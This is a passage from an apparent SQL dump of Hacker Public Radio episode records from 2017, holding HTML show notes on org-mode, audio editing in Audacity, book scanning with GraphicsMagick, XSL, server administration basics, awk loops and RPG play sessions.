href=\"https://hackerpublicradio.org/eps.php?id=0852\">hpr 852</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=0856\">hpr 856</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=0861\">hpr 861</a></li>\r\n</ul>\r\n<h5 id=\"thanks-to-youtube-found-out-about-org-mode\">3.3.1.5 Thanks to youtube found out about org mode</h5>\r\n<p>Rainer Konig - getting yourself organized with org-mode<br />\r\n<a href=\"https://www.youtube.com/channel/UCfbGTpcJyEOMwKP-eYz3_fg\" class=\"uri\">https://www.youtube.com/channel/UCfbGTpcJyEOMwKP-eYz3_fg</a></p>\r\n<h4 id=\"switched-in-october-2016\">3.3.2 Switched in october 2016</h4>\r\n<h3 id=\"how-i-use-it\">3.4 How I use it</h3>\r\n<p>At its heart an org-mode is an outliner. I use org-mode to set up daily todo tasks, organize projects, jot down notes. Org-mode has a subsystem call agenda view that can generate daily planner views from your org-mode files. I initially tried to mimic the bullet journal in org-mode, but found that it was better to approach org mode relying on its strengths, which are different, as you can imagine, from a Bullet journal.</p>\r\n<h3 id=\"strengths-1\">3.5 Strengths</h3>\r\n<p>I like it because its editable, searchable and customizable. Projects can be broken down into as fine a detail as you want and that detail level can expand or contract as necessary. The power of org-mode comes out when you use it to capturing ideas, tasks and information. Capturing these events is done via capture templates that you can create. This new data is then saved to the appropriate org file then shows up in your agenda view. Its extremely easy to back up, it\'s text based and therefore future proof. There are many good tutorials and resources online</p>\r\n<h3 id=\"shortcomings-1\">3.6 Shortcomings</h3>\r\n<p>Need to know a little about emacs and that can feel overwhelming to try. This new tool will require you to use your brain. Emacs keybindings</p>\r\n<h2 id=\"whats-next\">4 What\'s next</h2>\r\n<p>Trying to find a good way to use orgmode portably. <code>mobile-org</code> app for android doesn\'t work for me. This has led to trying a couple of different solutions which I will record other hpr episodes about. Thanks for listening. If you have ideas on Bullet Journals or Org-mode I\'d love to hear an episode about it. I\'ll put links into the show notes, this is Brian in Ohio signing off.</p>\r\n',326,0,0,'CC-BY-SA','journal,bullet journal,emacs,org mode',0,0,1),
(2434,'2017-11-30','Cybrosis',5958,'The HPR AudioBook Club discusses Cybrosis by P.C. Haring','<h3>SUMMARY</h3>\r\n<p>In  this episode, the HPR_AudioBookClub discusses Cybrosis by P. C. Haring.</p>\r\n<h3>Non-Spoiler Thoughts</h3>\r\n<ul>\r\n<li>Everyone agreed that the audio quality and engineering was excellent. The voice acting was just as good. pokey was bothered by something in the main character\'s voice that he likened to (but wasn\'t) hearing someone chew gum while talking. </li>\r\n</ul>\r\n<h3>BEVERAGE REVIEWS</h3>\r\n<p>As    usual, the HPR_AudioBookClub took some time to review the beverages   that each of us were drinking during the episode</p>\r\n<ul>\r\n<li>Thaj: Just a big latte mug full of good old fashioned Swiss Miss hot chocolate</li>\r\n <li>x1101: <a href=\"https://www.bevreview.com/wp-content/image_mountaindewlivewireofficial1.jpg\">Mt. Dew LiveWire</a></li>\r\n <li>pokey: I had no special beverage this month, so I took the opportunity to review my water filter and a brand of coconut oil that I particularly like.  <a href=\"https://www.aquasana.com/\">https://www.aquasana.com/</a>,  <a href=\"https://www.spectrumorganics.com/spectrum-naturals/coconut-oil-organic-virgin-unrefined/\">https://www.spectrumorganics.com/spectrum-naturals/coconut-oil-organic-virgin-unrefined/</a></li>\r\n<li>semioticrobotic: </li>\r\n<li>pegwole: </li>\r\n</ul>\r\n<h3>Things We Talked About</h3>\r\n<p> All of us felt that there were quite a few cliches in the story. </p>\r\n<h3>OUR NEXT AUDIOBOOK</h3>\r\n<p><strong>Triplanetary</strong> by E. E. \"Doc\" Smith\r\n <br/><a href=\"https://librivox.org/triplanetary-first-in-the-lensman-series-by-e-e-doc-smith/\">https://librivox.org/triplanetary-first-in-the-lensman-series-by-e-e-doc-smith/</a></p>\r\n<h3>OUR AUDIO</h3>\r\n<p>This episode was processed using Audacity <a href=\"https://audacity.sourceforge.net/\">https://audacity.sourceforge.net/</a>.    We\'ve been making small adjustments to our audio mix each month in    order to get the best possible sound. It\'s been especially challenging    getting all of our voices relatively level, because everyone has  their   own unique setup. Mumble is great for bringing us all together,  and for   recording, but it\'s not good at making everyone\'s voice the  same  volume.  We\'re pretty happy with the way this month\'s show turned  out,  so we\'d  like to share our editing process and settings with you  and our  future  selves (who, of course, will have forgotten all this  by  then).</p>\r\n<p>Mumble    uses a sample rate of 48kHz, but HPR requires a sample rate of  44.1kHz   so the first step in our audio process is to resample the file  at   44.1kHz. Resampling can take a long time if you don\'t have a  powerful   computer, and sometimes even if you do. If you record late at  night,   like we do, you may want to start the task before you go to  bed, and   save it first thing in the morning, so that the file is ready  to go the   next time you are.</p>\r\n<p>Next we use the \"Compressor\" effect with the following settings:</P>\r\n <ul>\r\n  <li>Threshold: -30db</li>\r\n  <li>Noise Floor: -50db</li>\r\n  <li>Ratio: 3:1</li>\r\n  <li>Attack Time: 0.2sec</li>\r\n  <li>Decay Time: 1.0 sec</li>\r\n  <li>\"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.</li>\r\n </ul>\r\n<p>After    compressing the audio we cut any pre-show and post-show chatter from    the file and save them in a separate file for possible use as outtakes    after the closing music.</p>\r\n<p>At    this point we listen back to the whole file and we work on the    shownotes. This is when we can cut out anything that needs to be cut,    and we can also make sure that we put any links in the shownotes that    were talked about during the recording of the show. We finish the    shownotes before exporting the .aup file to .FLAC so that we can paste   a  copy of the shownotes into the audio file\'s metadata. We use the    \"Truncate Silence\" effect with it\'s default settings to minimize the    silence between people speaking. When used with its default (or at    least reasonable) settings, Truncate Silence is extremely effective  and   satisfying. It makes everyone sound smarter, it makes the file  shorter   without destroying actual content, and it makes a  conversations sound  as  easy and fluid during playback as it was while  it was recorded. It  can  be even more effective if you can train  yourself to remain silent   instead of saying \"uuuuummmm.\" Just remember  to ONLY pass the file   through Truncate Silence ONCE. If you pass it  through a second time, or   if you set it too aggressively your audio may  sound sped up and   choppy.</p>\r\n<p>At    this point we add new, empty audio tracks into which we paste the    intro, outro and possibly outtakes, and we rename each track    accordingly.</p>\r\n<p>We    adjust the Gain so that the VU meter in Audacity hovers around -12db    while people are speaking, and we try to keep the peaks under -6db,  and   we adjust the Gain on each of the new tracks so that all volumes  are   similar, and more importantly comfortable. Once this is done we  can  \"Mix  and Render\" all of our tracks into a single track for export  to  the  .FLAC file which is uploaded to the HPR FTP server.</p>\r\n<p>Remember    to save often when using Audacity. We like to save after each of  these   steps. Audacity has a reputation for being \"crashy\" but if you   remember  save after every major transform, you will wonder how it ever   got that  reputation.</p>\r\n<h3>FURTHER RECOMMENDATIONS</h3>\r\n<h3>FEEDBACK</h3>\r\n<p>Thank    you very much for listening to this episode of the HPR_AudioBookClub.    We had a great time recording this show, and we hope you enjoyed it  as   well. We also hope you\'ll consider joining us next time. Please  leave a   few words in the episode\'s comment section.\r\n <br/>As always; remember to visit the HPR contribution page; HPR could really use your help right now.</p>\r\n<p><a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a></p>\r\n<p>Sincerely,\r\n <br/>The HPR_AudioBookClub</p>\r\n<p>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</p>\r\n\r\n\r\n',157,53,1,'CC-BY-SA','Cybrosis, HPR AudioBook Club, cyberpunk, audio fiction, P.C. Haring, Free Culture',0,0,1),
(2419,'2017-11-09','Alien Brothers Podcast S1E01 - Introduction',7584,'Meet the Alien Brothers: Casper and Rutiger.  Two tech junkies that take nothing sacred','<p>This was an impromptu inaugural episode recorded in Bethany Beach, DE.</p>\r\n<p>Casper and Rutiger work in the tech field and enjoy video games and popular media. We discuss the enigma that is the Handmaid\'s Tale, Tim &amp; Eric Awesome Show Great Job!, the movie Kids, video games from paperboy to Quake to Fallout 4. We comedically discuss the disillusionment that one can incur working in the cubical jungle. We also discuss going back to minimum wage after enjoying a high paying tech industry.</p>\r\n<p>We also reference obscure and not well-known music like Slint.</p>\r\n<p>The sound quality is not great in this episode, as it was an impromptu recording. All future episodes will be produced at a much higher quality</p>',359,0,1,'CC-BY-SA','video games, video cards, first podcast',0,0,1),
(2421,'2017-11-13','Project Interest',518,'Lostnbronx wonders how some projects die for lack of interest.','<p>This is just a short &quot;episode&quot; wherein I ponder the nature of showmanship and razzle-dazzle regarding the success or failure of FOSS, and other projects that require collaboration. Your comments and opinions are ACTIVELY encouraged.</p>',107,0,0,'CC-BY-SA','foss,collaboration,writing,projects',0,0,1),
(2422,'2017-11-14','Kickstarter Post Mortem',2763,'Klaatu talks about his failed Kickstarter campaign','<p>Klaatu tried to fund art for a card game on Kickstarter. Missed the goal by 85%</p>\r\n<p>This is a post mortem of how the Kickstarter went and where he may have gone wrong. Possibly you can learn from his mistakes. Possibly he has misdiagnosed his mistakes, and you are being misled. Choose wisely.</p>',78,95,0,'CC-BY-SA','Crowd Funding,Kickstarter,Tabletop Gaming',0,0,1),
(2423,'2017-11-15','Open Source Gaming #2: Oolite',431,'Episode 2 is about the space travel simulator Oolite, which is an open source remake of Elite','<p>The game\'s website. If you\'re interested in playing, check it out. <a href=\"https://www.oolite.org/\" class=\"uri\">https://www.oolite.org/</a></p>\r\n<p>Also here\'s the forum I was looking up during the podcast to find out if Elite Dangerous was multiplayer or not. <a href=\"https://steamcommunity.com/app/359320/discussions/0/142260718945308887/\" class=\"uri\">https://steamcommunity.com/app/359320/discussions/0/142260718945308887/</a></p>\r\n',354,0,1,'CC-BY-SA','Gaming, Open Source',0,0,1),
(2426,'2017-11-20','Let\'s Talk About Addiction',655,'Lostnbronx shares some thoughts about the need to talk about addiction.','<p>I was partially inspired by Bitbox\'s really wonderful episode, \"hpr2413: personal health care\", to ramble on about the need for the HPR community to, maybe, start talking about a mental health crisis that touches pretty much everyone in the modern world: addiction.</p>\r\n<p>Personal Health Care<br />\r\nhosted by Bitbox:<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2413\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2413</a></p>\r\n',107,100,1,'CC-BY-SA','addiction,mental health',0,0,1),
(2430,'2017-11-24','Scanning books',740,'Ken explains how and why he is scanning school books','<p>\r\nI want to scan my Son\'s school books so that he doesn\'t get back problems lugging books to and from school. Something that for now at least remains <a href=\"https://en.wikipedia.org/wiki/Copyright_law_of_the_Netherlands#The_right_to_homecopy\">legal</a> in the Netherlands.\r\n</p>\r\n<h3>Steps involved</h3>\r\n<ol>\r\n<li>Scan all the images using the entire length of your scanner. I use <a href=\"https://hackerpublicradio.org/eps/hpr2430/scantoimage.bash\">scantoimage.bash</a></li>\r\n<li>Confirm that there are no missing pages, and that every other page is upright and then upside down etc. If they are scan them and rename them so the name fits in between the pages</li>\r\n<li>Back up all the scanned images</li>\r\n<li>Manually crop the areas of the scans outside the area of the page. Usually this is on the side and bottom of the flat bed. Save is as something like ~/x.jpg</li>\r\n<li>Use <a href=\"https://www.graphicsmagick.org/\">GraphicsMagick Image Processing System</a> to identify the dimensions of the cropped image. <br />\r\n<span style=\"font-family:\'Lucida Console\', monospace\">\r\ngm identify ~/x.jpg<br />\r\n/home/me/x.jpg JPEG 2477x2609+0+0 DirectClass 8-bit 3.2Mi 0.000u 0m:0.000002s</span>\r\n</li>\r\n<li>Crop all the images to that dimension <br />\r\n<span style=\"font-family:\'Lucida Console\', monospace\">gm mogrify -crop 2477x2609+0+0 *.jpg</span>\r\n</li>\r\n<li>Rotate every second image by 180 degrees. <a href=\"https://hackerpublicradio.org/eps/hpr2430/rotate-every-second-image.bash\">rotate-every-second-image.bash</a></li>\r\n<li>Create a directory for the book and in there create a subdirectory for each section of the book. Manually copy all the images to the sub directory for that section. </li>\r\n<li>Then go to the root where there are no files only subdirs and run the command <br />\r\n<span style=\"font-family:\'Lucida Console\', monospace\">for i in *;do echo $i;gm convert \"${i}/*.jpg\" \"${i}.pdf\"; done</span></li>\r\n</ol>\r\n<p>\r\nAt the end you will have a pdf file for each section of the book.\r\n</p>',30,0,1,'CC-BY-SA','book scanning',0,0,1),
(2424,'2017-11-16','Interface Zero RPG Play',3010,'Klaatu, Lobath, and Thaj play the Interface Zero RPG','<p>Klaatu, Lobath, and Thaj play a session of <a href=\"https://drivethrurpg.com/product/214863/Interface-Zero-Pathfinder-Edition\">Interface Zero</a>, a role playing game using the <a href=\"https://paizo.com/beginnerbox\">Pathfinder</a> rules.\r\n</p>\r\n<p>\r\nIf you\'re new to RPG and want to hear how it\'s done, or you\'re just bored and want to hear some nerds play through a cyberpunk adventure, this is for you! Also - for one lucky listener - we have an RPG starter kit. Listen for details.</p> ',78,95,0,'CC-BY-SA','Interface Zero,actual play,rpg,gaming,live play',0,0,1),
(2425,'2017-11-17','Intro to XSL',2502,'A brief introduction to XSL and xsltproc','<p>\r\nSure, you can use pandoc to process your Docbook XML, but why not learn a little XSL this weekend?\r\n</p>\r\n<p><strong>Requirements</strong></p>\r\n<p>\r\nYou must have <a href=\"https://xmlsoft.org/XSLT/xsltproc.html\" target=\"_blank\">xsltproc</a> installed. It\'s available from your software repository.\r\n</p>\r\n<p>\r\nHere is some sample XML for you:\r\n</p>\r\n<pre><code>\r\n&#60;xml version=\"1.0\">\r\n  &#60;para>\r\n    My name is &#60;author>Foo&#60;/author>.\r\n  &#60;/para>\r\n\r\n  &#60;para>\r\n    You&#39;re listening to &#60;emphasis role=\"bold\">Hacker Public\r\n    Radio&#60;/emphasis>.\r\n  &#60;/para>\r\n&#60;/xml>\r\n</code></pre>\r\n<p>\r\nAnd here\'s the complete XSL as demonstrated:\r\n</p>\r\n<pre><code>\r\n&#60;xsl:stylesheet xmlns:xsl=\"https://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\r\n\r\n  &#60;xsl:template match=\"para\">\r\n    &#60;p>&#60;span>&#60;xsl:apply-templates/>&#60;/span>&#60;/p>\r\n  &#60;/xsl:template>\r\n\r\n  &#60;xsl:template match=\"emphasis\">\r\n    &#60;em>&#60;xsl:apply-templates/>&#60;/em>\r\n  &#60;/xsl:template>\r\n\r\n  &#60;xsl:template match=\"emphasis[@role=\'bold\']\">\r\n    &#60;strong>&#60;xsl:apply-templates/>&#60;/strong>\r\n  &#60;/xsl:template>\r\n\r\n  &#60;xsl:template match=\"author\" name=\"host\">\r\n    &#60;xsl:choose>\r\n\r\n      &#60;xsl:when test=\"$host = \'Klaatu\'\">\r\n        &#60;xsl:text>Klaatu&#60;/xsl:text>\r\n      &#60;/xsl:when>\r\n\r\n      &#60;xsl:when test=\"$host = \'Gort\'\">\r\n        &#60;xsl:text>Gort&#60;/xsl:text>\r\n      &#60;/xsl:when>\r\n    &#60;/xsl:choose>\r\n  &#60;/xsl:template>\r\n&#60;/xsl:stylesheet>\r\n</code></pre>\r\n<p><strong>Links</strong></p>\r\n<ul>\r\n<li>\r\n<p>\r\n<a href=\"https://nwalsh.com/docs/tutorials/xsl/xsl/frames.html\" target=\"_blank\">Norm Walsh</a>\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\n<a href=\"https://dpawson.co.uk/xsl/\" target=\"_blank\">dpawson</a>\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\n<a href=\"https://shop.oreilly.com/product/9780596003555.do\" target=\"_blank\">O\'Reilly</a>\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\n<a href=\"https://gitlab.com/notklaatu/dmschema\" target=\"_blank\">DM Schema</a>\r\n</p>\r\n</li>\r\n</ul>\r\n',78,0,0,'CC-BY-SA','docbook,xml,xsl',0,0,1),
(2427,'2017-11-21','Server Basics 101',2590,'Klaatu endeavours to explain the basics of server administration.','<p>Klaatu covers the very very basics of servers: what they are, how to know one when you see one, what one ought to run, and why we have them.</p>',78,0,0,'CC-BY-SA','server,admin,sys admin,linux',0,0,1),
(2429,'2017-11-23','Interface Zero RPG Play',1902,'Klaatu, Lobath, and Thaj play the Interface Zero RPG part 2','<p>The second session of <a href=\"https://drivethrurpg.com/product/214863/Interface-Zero-Pathfinder-Edition\">Interface Zero</a> RPG live play with Klaatu, Lobath, and Thaj.</p>\r\n\r\n<p>This week, Chiawei and Syd reach Peter\'s apartment and do some quick detective work, and a little bit of minor bone-breaking.</p>\r\n\r\n<p>\r\nIf you\'re <em>really</em> keen to play, send Klaatu an email (Klaatu at the domain of this podcast, or member.fsf.org). The recording schedule is inflexible, Klaatu has oddly high standards for audio that he is inevitably compresses down to 64kbps, and the game has already started, but a new character or guest character is not out of the question!</p>\r\n\r\n<p>No give-away this week, but we\'ll be giving a (digital) <a href=\"https://paizo.com/beginnerbox\">Pathfinder</a> starter kit out next week.</p>',78,95,0,'CC-BY-SA','Interface Zero,actual play,rpg,gaming,live play',0,0,1),
(2435,'2017-12-01','Server Basics 102',2926,'Klaatu talks about SSH configuration on the server you set up in 101.','<p>Klaatu talks about SSH, changing SSH ports, and using SSH keys for the server you presumably set up after hearing Server Basics 101 in this series.</p>',78,0,0,'CC-BY-SA','server,admin,sys admin,linux',0,0,1),
(2441,'2017-12-11','Server Basics 103',1773,'Firewalls and fail2ban','<p>Klaatu walks you through installing, configuring, and running fail2ban, and discusses the basics about firewalls.</p>\r\n\r\n<ul>\r\n<li><p><a href=\"https://firewalld.org\" target=\"_blank\">firewalld</a>\r\n</p></li>\r\n<li><p><a href=\"https://www.fail2ban.org/wiki/index.php/Main_Page\" target=\"_blank\">fail2ban</a>\r\n</p></li>\r\n</ul>',78,0,0,'CC-BY-SA','server,admin,sys admin,linux',0,0,1),
(2433,'2017-11-29','You were right, I was wrong',519,'Ken eats humble pie','<p>\r\nKen puts the record straight after inaccurate comments during <a href=\"https://hackerpublicradio.org/eps.php?id=2416\">hpr2416 :: HPR Community News for October 2017</a> about \r\n <a href=\"https://hackerpublicradio.org/eps.php?id=2406\">hpr2406 :: Putting Ends onto CAT6 Ethernet Cables</a> by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\">Shane Shennan</a>.</p>\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2406\">hpr2406 :: Putting Ends onto CAT6 Ethernet Cables</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2416\">hpr2416 :: HPR Community News for October 2017</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2416#1\">Comment #1 posted on 2017-11-09T17:33:23Z by Windigo</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Twisted_pair#History\">Wikipedia Twisted pair History</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Ethernet_over_twisted_pair#Cabling\">Wikipedia Ethernet over twisted pair</a></li>\r\n<li><a href=\"https://freemusicarchive.org/music/Memphis_Five/\">Memphis Five - Who\'s Sorry Now?</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=7v31-qORXPY\">Balanced Audio Noise Rejection &amp; Differential Pairs</a></li>\r\n</ul>\r\n',30,0,0,'CC-BY-SA','Correction',0,0,1),
(2432,'2017-11-28','Living with the Nokia 6 – an update to HPR 2405',316,'An update to my show on the Nokia 6 phone','<h3 id=\"living-with-the-nokia-6-an-update-to-hpr-2405\">Living with the Nokia 6 – an update to HPR 2405</h3>\r\n<p>I’ve now been using the Nokia 6 for about 2 months and just wanted to update listeners to my thoughts on the phone.</p>\r\n<p>First a response to Dave who said on the Community News that as he had a OnePlus 1 he was surprised I found it inadequate. The One+1 is a great phone, my problem with it was it does not support O2’s 4G network although it supports EE’s and 3’s 4G networks here in the UK, as I use GiffGaff which runs on the O2 network I have not been able to benefit from their 4G offer and I don’t want to change provider. Also the One+1 was stuck on CyanogenMod 13.1 (Android 6) and no longer got updates, so this was the reason for the new phone purchase. I’ve now flashed Lineage OS onto the One+1 and have a secure backup phone or one I can pass on to my Wife at some stage.</p>\r\n<p>Back to the Nokia, now I’ve lived with the phone for a few weeks I can say I am more than happy with it, and some of the issues with battery life I have found are unfounded once you configure some of the settings to be more battery friendly, such as restricting background access to the net for most aps the battery life is well over a day\'s use. At night in stand by mode over 8 hours battery use is less than 1% so even with moderate to heavy use I can get a day out of the phone without any risk of running out. Also if the official charger and cable are used a 1 hour charge gives about a 30-40% battery capacity, so not as slow as the reviews I’ve read. Would I still buy it having used it for 2 months, I would say yes to that, and I also have no issues with recommending it as a large format phone at a budget price.</p>',338,57,0,'CC-BY-SA','Android, Nokia 6, Phones, New Kit, OnePlus1',0,0,1),
(2437,'2017-12-05','Interface Zero Play-through Part 3',2543,'Klaatu, Lobath, and Thaj play the Interface Zero RPG','<p>\r\nKlaatu, Lobath, and Thaj continue their play-through of the Interface Zero RPG, using the <strong>Job InSecurity</strong> adventure.\r\n</p>\r\n\r\n<p>\r\nLyphrygerator composed by William Kenlon, used with permission.\r\n</p>\r\n\r\n<p>\r\nAll other music by Klaatu.\r\n</p>\r\n\r\n<p>Some sounds from <a href=\"https://freesound.org\" target=\"_blank\">freesound.org</a> used for texture. Obligatory credits will appear in final episode.\r\n</p>',78,95,1,'CC-BY-SA','Interface Zero,cyberpunk,rpg,game',0,0,1),
(2428,'2017-11-22','git Blobs',1982,'Klaatu talks about git-media and git-annex','<p>How do you manage large binary blobs, like pictures or video or sounds, when using git?</p>\r\n\r\n<p>In this episode, Klaatu explains two popular options&#58;</p>\r\n\r\n<ul>\r\n<li>\r\n<p>\r\n<a href=\"https://github.com/alebedev/git-media\" target=\"_blank\">git-media</a>\r\n</p>\r\n</li>\r\n<li>\r\n<p>\r\n<a href=\"https://git-annex.branchable.com/walkthrough/\" target=\"_blank\">git-annex</a>\r\n</p>\r\n</li>\r\n</ul>\r\n\r\n<p>Thanks to CapsLok at <a href=\"https://freesound.org/people/CapsLok/sounds/184438/\" target=\"_blank\">freesound.org</a> for the sound effect.</p>\r\n',78,81,0,'CC-BY-SA','git',0,0,1),
(2444,'2017-12-14','Interface Zero Play-through Part 4',1927,'Klaatu, Lobath, and Thaj play the Interface Zero RPG','<p>The investigation continues!</p>\r\n<p>Guest voice in this and episode 3 by Gort.</p>',78,95,0,'CC-BY-SA','Interface Zero,rpg,game,play,pathfinder,dnd',0,0,1),
(2438,'2017-12-06','Gnu Awk - Part 8',1239,'More about loops','<h1 id=\"gnu-awk---part-8\">Gnu Awk - Part 8</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>This is the eighth episode of the &quot;<a href=\"https://hackerpublicradio.org/series.php?id=94\" title=\"Learning Awk\">Learning Awk</a>&quot; series that\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" title=\"b-yeezi\">b-yeezi</a> and I are doing.</p>\r\n<h2 id=\"recap-of-the-last-episode\">Recap of the last episode</h2>\r\n<ul>\r\n<li><p>The <code>while</code> loop: tests a condition and performs commands <em>while</em> the test returns true</p></li>\r\n<li><p>The <code>do while</code> loop: performs commands after the <code>do</code>, then tests afterwards, repeating the commands <em>while</em> the test is true.</\r\np></li>\r\n<li><p>The <code>for</code> loop (type 1): initialises a variable, performs a test, and increments the variable all together, performing commands while the test is \r\ntrue.</p></li>\r\n<li><p>The <code>for</code> loop (type 2): sets a variable to successive indices of an array, preforming a collection of commands for each index.</p></li>\r\n</ul>\r\n<p>These types of loops were demonstrated by examples in the <a href=\"https://hackerpublicradio.org/eps.php?id=2330\" title=\"Awk Part 7\">last episode</a>.</p>\r\n<p>Note that the example for \'<code>do while</code>\' was an infinite loop (perhaps as a test of the alertness of the audience!):</p>\r\n<pre><code>#!/usr/bin/awk -f\r\nBEGIN {\r\n\r\n    i=2;\r\n    do {\r\n        print &quot;The square of &quot;, i, &quot; is &quot;, i*i;\r\n        i = i + 1\r\n    }\r\n    while (i != 2)\r\n\r\nexit;\r\n}</code></pre>\r\n<p>The condition in the <code>while</code> is always true:</p>\r\n<pre><code>The square of  2  is  4\r\nThe square of  3  is  9\r\nThe square of  4  is  16\r\nThe square of  5  is  25\r\nThe square of  6  is  36\r\nThe square of  7  is  49\r\nThe square of  8  is  64\r\nThe square of  9  is  81\r\nThe square of  10  is  100\r\n...\r\nThe square of  1269630  is  1611960336900\r\nThe square of  1269631  is  1611962876161\r\nThe square of  1269632  is  1611965415424\r\nThe square of  1269633  is  1611967954689\r\nThe square of  1269634  is  1611970493956\r\n...</code></pre>\r\n<p>The variable <code>i</code> is set to 2, the <code>print</code> is executed, then <code>i</code> is set to 3. The test &quot;<code>i != 2</code>&quot; is true and will be <em>ad infinitum</em>.</p>\r\n<h2 id=\"some-more-statements\">Some more statements</h2>\r\n<p>We will come back to loops later in this episode, but first this seems like a good point to describe another statement: the <code>switch</code> statement.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>The notes for rest of this episode are available <a href=\"https://hackerpublicradio.org/eps/hpr2438/full_shownotes.html\">here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/html_node/index.html\"><em>GNU Awk User\'s Guide</em></a></li>\r\n<li>Previous shows in this series on HPR:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2114\">&quot;<em>Gnu Awk - Part 1</em>&quot;</a> - episode 2114</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2129\">&quot;<em>Gnu Awk - Part 2</em>&quot;</a> - episode 2129</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2143\">&quot;<em>Gnu Awk - Part 3</em>&quot;</a> - episode 2143</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2163\">&quot;<em>Gnu Awk - Part 4</em>&quot;</a> - episode 2163</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2184\">&quot;<em>Gnu Awk - Part 5</em>&quot;</a> - episode 2184</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2238\">&quot;<em>Gnu Awk - Part 6</em>&quot;</a> - episode 2238</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2330\">&quot;<em>Gnu Awk - Part 7</em>&quot;</a> - episode 2330</li>\r\n</ul></li>\r\n<li>Resources:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2438/full_shownotes.epub\">ePub version of these notes</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2438/full_shownotes.pdf\">PDF version of these notes</a></li>\r\n<li>Demonstration of the <code>switch</code> statement:\r\n<ul>\r\n<li>Script: <a href=\"https://hackerpublicradio.org/eps/hpr2438/switch_example.awk\">switch_example.awk</a></li>\r\n<li>Output: <a href=\"https://hackerpublicradio.org/eps/hpr2438/switch_example.out\">switch_example.out</a></li>\r\n</ul></li>\r\n<li>Demonstration of the <code>break</code> statement:\r\n<ul>\r\n<li>Script: <a href=\"https://hackerpublicradio.org/eps/hpr2438/divisor.awk\">divisor.awk</a></li>\r\n<li>Output: <a href=\"https://hackerpublicradio.org/eps/hpr2438/divisor.out\">divisor.out</a></li>\r\n</ul></li>\r\n<li>Demonstration of the <code>continue</code> statement:\r\n<ul>\r\n<li>Script: <a href=\"https://hackerpublicradio.org/eps/hpr2438/continue_example.awk\">continue_example.awk</a></li>\r\n</ul></li>\r\n<li>Demonstration of the <code>next</code> statement:\r\n<ul>\r\n<li>Script: <a href=\"https://hackerpublicradio.org/eps/hpr2438/next_example.awk\">next_example.awk</a></li>\r\n<li>Output: <a href=\"https://hackerpublicradio.org/eps/hpr2438/next_example.out\">next_example.out</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n',225,94,1,'CC-BY-SA','Awk utility,Awk language,gawk,loops',0,0,1),
(2442,'2017-12-12','The sound of Woodbrook Quaker Study centre in the Spring',937,'I recorded the sound of bird song at Woodbrook Quaker study Centre in Birmingham UK in April 2017','<p>This is a recording I made at Woodbrook Quaker Study Centre in Birmingham UK while I was there in April 2017.</p>\r\n<p>I got the idea to release it as a show after listening to <em>hpr2354 :: Night Sounds in Rural Tennessee</em> hosted by Jon Kulp so here it is all 15 minutes of it.</p>\r\n<p>The centre is right by the busy A38 trunk road so hence the constant hum of traffic noise in the background.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.woodbrooke.org.uk/\" class=\"uri\">https://www.woodbrooke.org.uk/</a></li>\r\n</ul>',338,101,0,'CC-BY-SA','birdsong',0,0,1),
(2443,'2017-12-13','pdmenu',927,'I have been using this menu tool over the past year, and I really like it','<h1 id=\"pdmenu\">pdmenu</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p><a href=\"https://joeyh.name/code/pdmenu/\" title=\"Pdmenu\"><code>Pdmenu</code></a> is a tool written by <a href=\"https://joeyh.name/\" title=\"Joey Hess\">Joey Hess</a> which allows the creation of a simple menu in a terminal (console) window. It is in his list of less active projects, and the latest version is dated 2014, but it seems to be quite complete and useful as it is.</p>\r\n<p>I like simple menus. As a Sysadmin in my last job I used one on OpenVMS which helped me run the various periodic tasks I needed to run - especially the less frequent ones - without having to remember all of the details.</p>\r\n<p>I do the same on my various Linux systems, and find that <code>pdmenu</code> is ideal for the task.</p>\r\n<h2 id=\"installation\">Installation</h2>\r\n<p>I found <code>pdmenu</code> in the Debian repositories (I run Debian Testing), and it was very easily installed. The C source is available as a tarfile, though I\r\n haven\'t tried building it myself.</p>\r\n<h2 id=\"running-pdmenu\">Running <code>pdmenu</code></h2>\r\n<p>Simply typing <code>pdmenu</code> at a command prompt will invoke the utility. It uses the file <code>/etc/pdmenurc</code> as its default configuration file, and this generates a menu with a demonstration of some of its features.</p>\r\n<p>This is not particularly useful but it can be overridden by creating your own configuration, which by default is in <code>~/.pdmenurc</code>. The <code>pdmenu</code> command itself takes a configuration file as an argument, so there is plenty of flexibility.</p>\r\n<h2 id=\"full-notes-and-examples\">Full notes and examples</h2>\r\n<p>The 